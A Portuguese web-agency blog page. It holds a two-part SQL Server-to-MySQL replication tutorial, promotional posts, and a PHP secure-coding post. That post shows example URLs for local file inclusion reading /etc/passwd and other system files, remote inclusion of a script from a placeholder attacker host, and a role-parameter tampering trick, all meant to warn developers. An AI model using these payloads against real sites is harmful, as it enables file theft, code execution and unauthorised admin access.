Replicação do SQL Server para o MySQL: Parte 02

Olá pessoal. Neste artigo continuamos a seqüência de passos necessários para montar a replicação de dados entre o SQL Server e o MySQL. Desta vez veremos o passo que cria o banco de dados no SQL Server, cujos dados serão replicados para o MySQL, e o passo que cria o banco de dados no MySQL, que receberá os dados do SQL Server. Para mais informações sobre a especificação da replicação aconselho aos leitores verem a primeira parte desta série de colunas.

  • Passo 2: Criando o Banco de dados no SQL Server
  •  

Neste passos criaremos um banco de dados no SQL Server que será replicado para o MySQL. Para simplificar, apenas uma tabela será criada. Esta tabela conterá duas colunas: a coluna ID, que é do tipo de dados INT e também é chave primária, e a coluna NAME, que é do tipo de dados VARCHAR(50). Aqui precisamos tomar cuidado com os tipos de dados utilizados, pois esta tabela será recriada no MySQL. Como regra, devemos sempre utilizar tipos de dados compatíveis entre os bancos de dados envolvidos na replicação.

Para criar o banco de dados e a tabela devemos nos conectar ao servidor PICHILIANI por meio da ferramenta Query Analyser e utilizar a instrução da Listagem 2.1, que cria o banco de dados REPL_MSSQL_MYSQL, a tabela TB_MSSQL_MYSQL e insere quatro linhas nesta tabela.

CREATE DATABASE REPL_MSSQL_MYSQLGOUSE REPL_MSSQL_MYSQLGO
CREATE TABLE TB_MSSQL_MYSQL(    ID INT PRIMARY KEY,     NAME VARCHAR(50))GO
INSERT TB_MSSQL_MYSQL VALUES(1,"A")INSERT TB_MSSQL_MYSQL VALUES(2,"B")
INSERT TB_MSSQL_MYSQL VALUES(3,"C")INSERT TB_MSSQL_MYSQL VALUES(4,"D")GO
SELECT * FROM TB_MSSQL_MYSQLGO

Listagem 2.1. Criação do banco de dados.

A figura 2.1 mostra a codificação da Listagem 2.1 no Query Analyser.

Figura 2.1 Codificação do código que cria a base de dados.Figura 2.1 Codificação do código que cria a base de dados.

Após a criação da base de dados é necessário clicar como botão direito do mouse sobre a pasta Databases do Enterprise Manager e escolher a opção Refresh, pois só desta maneira o novo banco de dados, chamado de REPL_MSSQL_MYSQL, será apresentado na interface gráfica.

  • Passo 3: Criando o Banco de dados no MySQL

Para criar o banco de dados no MySQL que receberá os dados do SQL Server é necessário fazer o logon no Linux e se conectar no MySQL. A Figura 3.1 apresenta o logon do usuário root no MySQL por meio do cliente de SSH chamado putty. Notem que não é obrigatório a utilização do login root para acessar o Linux e o MySQL, porém o login root será utilizado tanto no SSH como no MySQL para tornar mais fácil a explicação da replicação.

Figura 3.1 Logon no Linux por meio do SSH.Figura 3.1 Logon no Linux por meio do SSH.

Em seguida é necessário acessar o MySQL no Linux por meio do programa mysql. Uma vez conectado, devemos utilizar os comandos da listagem 3.1 para criar uma base de dados nova chamada MSSQL_MYSQL com todas as configurações padrões. Esta base de dados irá receber os dados do SQL Server por meio da replicação. Não precisamos criar manualmente a tabela que foi criada no SQL Server, pois a replicação se encarregará desta tarefa quando ela for iniciada.

CREATE DATABASE MSSQL_MYSQL;

Listagem 3.1 Comando para a criação da base de dados no MySQL

A Figura 3.2 apresenta a criação da base de dados no MySQL por meio do comando da listagem 3.1. Notem que na Figura 3.1 o comando connect; e show databases; também foram utilizados, apenas para conectar no MySQL e visualizar quais bancos de dados já existiam, respectivamente.

Figura 3.2. Criando o banco de dados no MySQL.Figura 3.2. Criando o banco de dados no MySQL.

Com isso terminamos a criação do banco de dados no SQL Server, que será a fonte de dados, e do banco de dados no MySQL, que será o destino dos dados.

Na próxima coluna veremos como configurar o acesso do Windows para o Linux, por meio do driver ODBC.

Um grande abraço e até a próxima pessoal!

Nenhum comentário.

Replicação do SQL Server para o MySQL: Parte 1

Olá pessoal. Neste artigo eu apresento os passos necessários para realizar uma replicação de dados entre o SQL Server e o MySQL. Com esta replicação, podemos utilizar as duas tecnologias em conjunto, proporcionando uma alternativa para ambientes heterogêneos que requerem alta disponibilidade.

Antes de começar a mostrar os passos necessários, é preciso indicar como esta replicação funcionará. A replicação envolverá o SQL Server 2000 (edição standard) com o service pack 4, sendo executado em um servidor com o Windows 2003, com o service pack 1. O endereço I.P. deste servidor foi configurado como 192.168.1.3 e o nome deste servidor é PICHILIANI.

A versão do MySQL utilizado nesta replicação é a versão 5.0.21-standard-log, sendo executado em um servidor Linux Slackware 10.2, com o kernel 2.4.31. O endereço I.P. deste servidor foi configurado como 192.168.1.5 e o nome do servidor é darkstar.

Também é necessário utilizar um driver ODBC no Windows para que ele se conecte ao Linux. Para montar a replicação utilizei o driver chamado MySQL-Conector/ODBC versão 3.51.12, que é livre e pode ser baixado a partir do link http://dev.mysql.com/downloads/connector/odbc/3.51.html

A replicação funcionará da seguinte forma: o SQL Server conterá uma tabela simples e replicará estes dados na replicação do tipo transacional. Neste tipo de replicação o SQL Server assumirá o papel de Publicador e Distribuidor, ou seja, ele será responsável por enviar os dados para quem quiser recebê-los. O MySQL assumirá o papel de Assinante, recebendo os dados que vem do SQL Server. É importante lembrar que o MySQL, agindo como um assinante heterogêneo, apenas receberá os dados e não poderá modificá-los, pois caso isso aconteça a replicação deixará de funcionar. A latência de replicação, ou seja, o tempo decorrido entre a modificação/inserção/deleção de dados no SQL Server e a sua propagação para o MySQL, será o mínimo possível.

De acordo com a especificação da replicação descrita acima, vamos aos passos necessários para configurá-la.

Passo 1: Configuração do Publicador

O primeiro passo é configurar o SQL Server como Publicador. Para isso, abra o Enterprise Manager e se conecte ao SQL Server, que no meu caso se chama PICHILIANI. Em seguida, cliquem no menu Tools e escolham a opção Wizards, selecionando o assistente Configure Publishing and Distributor Wizard, como a Figura 1.1 mostra.
replicacao_sql_server_mysql_01
Figura 1.1. Iniciando o assistente para a criação da Publicação.

Este assistente possui várias telas para auxiliar a configuração do Publicador. A primeira delas apresenta uma janela de boas vindas, que devemos apenas clicar em Avançar. A segunda janela pergunta quem será o distribuidor. Neste exemplo o servidor Pichiliani será o próprio Distribuidor, por isso, a primeira opção deve ser marcada, conforme a Figura 1.2. Dependendo da conta que estiver sendo utilizada para o serviço SQL Server e o SQL Server Agent pode ser que uma mensagem do SQL Server seja apresentada. Basta ignorar esta mensagem, pois neste exemplo não precisamos da mesma conta de usuário para o serviço SQL Server e o SQL Server Agent.

replicacao_sql_server_mysql_02
Figura 1.2. Configuração do Distribuidor.

O próximo passo do assistente indica qual será a pasta a ser utilizada para a colocação dos arquivos necessários para a replicação. Notem que esta pasta contém um compartilhamento de sistema (C$). Para o nosso exemplo, basta deixar o local padrão e clicar em avançar, como a Figura 1.3 mostra. Isso que fará com que o SQL Server emita um aviso indicando que o endereço contém um compartilhamento de sistema. Basta clicar no botão YES nesta mensagem para manter o diretório padrão, pois na replicação para o MySQL este diretório não será utilizado.

replicacao_sql_server_mysql_03
Figura 1.3. Configuração do diretório padrão.

A próxima tela do assistente permite a configuração de mais alguns detalhes do Publicador. Basta escolher a opção No, use the following default settings e clicar em avançar, como a Figura 1.4 mostra.

replicacao_sql_server_mysql_04
Figura 1.4. Tela de configurações avançadas do Publicador e Distribuidor.

A próxima tela apenas apresenta o final do assistente de publicação. Ao clicar no botão Finish o SQL Server automaticamente começa a realizar as configurações para tornar o servidor um Publicador/Distribuidor, apresentada na Figura 1.5.

replicacao_sql_server_mysql_05
Figura 1.5. Realizando as configurações de Publicação.

Com isso terminamos o primeiro passo para a configuração da replicação. Pode-se notar pelo Enterprise Manager que um novo ícone foi adicionado na estrutura da árvore: o Replication Monitor, que será visto nos próximos passos da replicação.

Na próxima parte veremos como criar um banco de dados e inserir as informações que serão replicadas.

Um grande abraço e até a próxima pessoal!

1 Comentário

Desenvolvimento seguro em PHP – Cuidado com a URL

imagem ilusttrativa hacker

imagem ilusttrativa hacker


Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com “segundas” intenções ganhem acesso ao servidor.
– Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

http://sitecombrecha.com/index.php?pagina=home.php
http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente
Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

http://sitecombrecha.com/index.php?pagina=/etc/fstab
http://sitecombrecha.com/index.php?pagina=/etc/passwd
http://sitecombrecha.com/index.php?pagina=/var/log/messages
Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php
O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL’s desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method=”post” na tag form ou a escrever errado, por default (w3c) o navegador irá entender method=”get”, e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

Nenhum comentário.

Vantagens de criação e desenvolvimento em PHP

asps
– Programação PHP
Utilização da linguagem de programação PHP, onde conseguimos reduzir custos com licenças de software e grande poder de desenvolvimento com bibliotecas de programação prontas.
Possui atualmente uma grande facilidade na busca de novas técnicas de programação como por exemplo o Ajax, que faz com que as informações não sejam necessárias o recarregamento das paginas, tornando mais rapida a utilização para o usuário.

– Banco de Dados
Mysql – Banco de dados robusto e com grande capacidade de armazenamento de informações.

– SO Servidores
Linux RedHat – que nos garante grande velocidade de processamento e confiabilidade.

Nenhum comentário.

Vídeo exibido na rede globo

A Kurole Web Design pensando na melhor solução em comércio eletronico.
Veja alguma lojas virtuais já desenvolvidas pela empresa.

http://www.3colinas.com.br
http://www.veusccb.com.br
http://www.jaguarferramentas.com.br
http://www.pagueleve.com
http://www.casamusical.com.br

O vídeo mostra a importancia de possuir um comércio eletronico.

‘ >

Nenhum comentário.

Os projetos web iniciam assim!

Início e término de um sistema online

Início e término de um sistema online

1 Comentário